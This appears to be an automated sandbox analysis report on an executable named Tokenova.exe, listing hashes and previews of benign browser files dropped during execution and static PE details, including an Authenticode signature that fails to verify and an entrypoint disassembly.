Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8188_2123259292\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8188_2123259292\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8188_2123259292\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 25 23:49:04 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.980684790254566
Encrypted:	false
SSDEEP:	48:8CdxT5p6HBidAKZdA19ehwiZUklqehRy+3:803I+y
MD5:	4160075F0D5304E7FC8B719B3DF5F59F
SHA1:	12C79D7970AFDE5F6B8531B7B6BFBB1BE6D6B147
SHA-256:	D5BCDD81A1E145F77D0914FA81B89D68B1FDD12C19A6AA3E28E7DE2C46B5F8AD
SHA-512:	3CED3B9483CF0E4D0C9AA4026D77F821290722D777E2497B468F44988810B0204E2E14F59DB155C5C52747CE5A40C8DD1F3B0193ABB6D8AC9432CA1CCB76B087
Malicious:	false
Preview:	L..................F.@.. ...$+.,...."..;...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZZ#............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 25 23:49:04 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9941551731173988
Encrypted:	false
SSDEEP:	48:87dxT5p6HBidAKZdA1weh/iZUkAQkqehuy+2:8T3C9Qzy
MD5:	A5D74CC29DA35AC98296749A3D7F86E1
SHA1:	89ED09C9663FB9F1A460C0F60668FADC5D0169F9
SHA-256:	C31CBE824678E9CF11C408B2EDD8000E3E8CF5A79DEC126EDDC0F5FE329C3493
SHA-512:	882F7E9D0288ACBEA6A50CA98ACC5C358D5AF4A7F2DA246D703426CDB0BB2288484CE0686DDD2AEAB5FA523C514328B154A6F4A4DF1A27A6BD6BAC9535CA28B7
Malicious:	false
Preview:	L..................F.@.. ...$+.,....GD.;...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZZ#............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005281411602768
Encrypted:	false
SSDEEP:	48:8xqdxT5psHBidAKZdA14tseh7sFiZUkmgqeh7sYy+BX:8xs3knqy
MD5:	E40D02852C6194ACC1AF9706567EF6B6
SHA1:	125E406E802880C17C367D6CD2A3C334E6585BED
SHA-256:	6984DD7AF40D6002ECE4AD82F4B34A73C2BB83152881A4872EB4F4C22E202F7C
SHA-512:	B9EA2A74A6F1B1905D4EA9F096AF85EC2040DA27A654AF7E20297408860AAF20BE1F98F86BD4D4B7689A538C9317B338654F3EF5EA25567E88076122EE699043
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 25 23:49:04 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9945047605144843
Encrypted:	false
SSDEEP:	48:8edxT5p6HBidAKZdA1vehDiZUkwqehCy+R:8Y3JQy
MD5:	AD54DE4187C79B6A51F314A01F07A04C
SHA1:	8395E28B2DD105BD04CA904E67075E58864C46EB
SHA-256:	FC6F63B27BAA5B03109109705A3B6EF0664B7BA36553FD51F82B22E11E39105D
SHA-512:	3675876A3BDEADE14454560446B36DD03064C33EBC61CFD4F56F993446AB1A5A7B27331B444AA147B306898D1E3FB10513548A09492F68675B796595A25EC2EE
Malicious:	false
Preview:	L..................F.@.. ...$+.,...._..;...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZZ#............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 25 23:49:04 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9836136642658238
Encrypted:	false
SSDEEP:	48:8f+dxT5p6HBidAKZdA1hehBiZUk1W1qehEy+C:8f4359ky
MD5:	05CE4AAF7A22D0A35B0BFBFCE5A1F9AD
SHA1:	83B7350543BAD15745668471D3412507ECEB660C
SHA-256:	33C5BB6378FEA7B7580D74F4401FE1AAFC92F9778F68C125D70E11F3896F7D73
SHA-512:	BAC1FD5BDD94318D1675E2FD4B1B240FBF13F87D470E33DCD179AE9523499DFF75F5E8FC855BA131DFBE44F07A08362E67D46E6E20C80A8D7C2C2018D60E31A2
Malicious:	false
Preview:	L..................F.@.. ...$+.,......;...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZZ#............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Feb 25 23:49:04 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994364706072359
Encrypted:	false
SSDEEP:	48:8cdxT5p6HBidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbqy+yT+:8a3FT/TbxWOvTbqy7T
MD5:	71749727B9AF0956012D8B075EC5206F
SHA1:	E6EAD82ED128F3AB9C07EB1DF2B1546696526F69
SHA-256:	2FFFAC9F5234FB71BCEE47121D8F031A11CB7F3534C60B2943C972A27D150E28
SHA-512:	0430881AC4974A61D19D940AEB4956B4D85646E11BDB435ED04E352B43FA5F904E7D46CCDB7990F11C57798C9F7E8DFE6529677E4F41C915189D05E7DC079FA1
Malicious:	false
Preview:	L..................F.@.. ...$+.,......;...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IZZ .....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZZ .....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZZ .....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZZ ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZZ#............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3030)
Category:	downloaded
Size (bytes):	3035
Entropy (8bit):	5.879011125866678
Encrypted:	false
SSDEEP:	48:sLP7KlgZ01dJV9vxeTh3Q3uvb/wQJp1svwsWCrgV2woqGZZFXLm4lB6y1XGQsH0Y:EPGlioVXevbZp1svGr8qG0q6+XAGSn97
MD5:	E31C0F25A7DBD33961AE2FC0096CCB63
SHA1:	267D58A7BC5B91841FED6C4F89913C1B2D408724
SHA-256:	37FA04F0932965E72BD01D93567F19A3B9FCFCE44280504CD888B93BD05CD8D3
SHA-512:	5BECD950AD8FD63F434F9F2A3CC2F8DCA0049ACF879889ED4AAD8797A21C3E63DC28976E3612C87634E5A40D5A650FF479C59C1D6AF971664FCCA652FD05D2CB
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["esi construction idaho","final jeopardy today","xrp cryptocurrency","flooding key west florida","chicago bears","playstation plus games","seven planets alignment","roosevelt hotel nyc migrants"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMXkzdhINRm9vdGJhbGwgdGVhbTKCDGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBckNBTUFBQUQvaEg1MUFBQUFxMUJNVkVYLy8vL21RUUFBQUFEa0tBRG1Pd0RsTXdEbVBnRGxMZ0RsTndCaVoyL1QyTnJrSXdERHhNWTBPVVdBZ29jeE5rT1BrWmE1dXIzMDlQVkZTbFNWbDV1Smk0K2hvcWJxNnVzQUFBV3p0TGNMRmlwc2IzYi85UExrNU9WMmVYL3NkMThBQUJQdGdXdnZqMzNxYWswQUFCbFJWVjZwcTY3NHo4ajN1N0hwWVVJOFFFd3FMejMvNWVIKzJ0UmJYMmNBQUIvMHA1cjR4THNlSlRYeG1Jam9VaW4xc0tQbVJoVG9WelByY0ZiUmpXTzFBQUFEZjBsRVFWUklpWjFXNldLeU9oQWRKaUFZRURGc0ZVR0ZGbFFFMTFwOS95ZTdnZUFudGFpOVBiODBZZmJKbkFGNERFYU56SEZOMDdX

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.4056739521717644
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Tokenova.exe
File size:	687'242'557 bytes
MD5:	fc84c5d5dbd5892000ae1424656c8e34
SHA1:	1713b6eaeb6ea6266a4c1195e1408e078ff11ce3
SHA256:	4e028d34a9a53087379525dd68381c22efae2f34e80a7ddbbf04617e68db07ff
SHA512:	9b539f4c1f0a40f35bfbcbcab21e9f461162b6514ca0cce0a78a625160bfdfed10cebfdab48492690d44d61e3176132f30c55586052227dec672bc251adf4f3c
SSDEEP:
TLSH:
File Content Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$...........Nvj.Nvj.Nvj.P$..Lvj.i...Ovj.G...dvj.G...Vvj.!...Ovj..y5.Ovj..y..Svj.G...hvj..y7.Mvj.Nvk.stj..8..Fvj.U....vj.Nvj..vj.U....uj

File Icon


Icon Hash:	02c486978dec9031

Static PE Info

General

Entrypoint:	0xa026bb
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x574EB138 [Wed Jun 1 09:56:08 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	0d07abc6a1fbf8bee66858b8725535c0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	11/11/2022 07:18:26 19/12/2025 05:30:59
Subject Chain	CN=Steganos Software GmbH, O=Steganos Software GmbH, STREET=Storkower Str. 158, L=Berlin, S=Berlin, C=DE, OID.1.3.6.1.4.1.311.60.2.1.1=Berlin (Charlottenburg), OID.1.3.6.1.4.1.311.60.2.1.2=Berlin, OID.1.3.6.1.4.1.311.60.2.1.3=DE, SERIALNUMBER=HRB 121695, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	33992FF2066BFB1A30F082E59504C0EA
Thumbprint SHA-1:	42A47E14816F47500EB0E6075AB7CFCA77B7A799
Thumbprint SHA-256:	FBEF9020B388037ABC6CC3B029592BC65D5EC173A1589EAF8D4F40A6439BD351
Serial:	1B771C18F2C53998C549CEC3

Entrypoint Preview

Instruction
call 00007F9F750E28E4h
jmp 00007F9F750D158Eh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
mov edi, dword ptr [esp+08h]
jmp 00007F9F750D1770h
lea esp, dword ptr [esp+00000000h]
mov edi, edi
mov ecx, dword ptr [esp+04h]
push edi
test ecx, 00000003h
je 00007F9F750D1715h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F9F750D173Fh
test ecx, 00000003h
jne 00007F9F750D16F1h
mov edi, edi
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F9F750D16EAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F9F750D1725h
test ah, ah
je 00007F9F750D171Ch
test eax, 00FF0000h
je 00007F9F750D1710h
test eax, FF000000h
je 00007F9F750D1704h
jmp 00007F9F750D16CFh
lea edi, dword ptr [ecx-01h]
jmp 00007F9F750D170Fh
lea edi, dword ptr [ecx-02h]
jmp 00007F9F750D170Ah
lea edi, dword ptr [ecx-03h]
jmp 00007F9F750D1705h
lea edi, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+0Ch]
test ecx, 00000003h
je 00007F9F750D171Fh
mov dl, byte ptr [ecx]
add ecx, 01h
test dl, dl
je 00007F9F750D1768h
mov byte ptr [edi], dl
add edi, 01h
test ecx, 00000003h
jne 00007F9F750D16ECh
jmp 00007F9F750D1707h
mov dword ptr [edi], edx
add edi, 04h
mov edx, 7EFEFEFFh
mov eax, dword ptr [ecx]
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
mov edx, dword ptr [ecx]
add ecx, 04h
test eax, 00000000h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
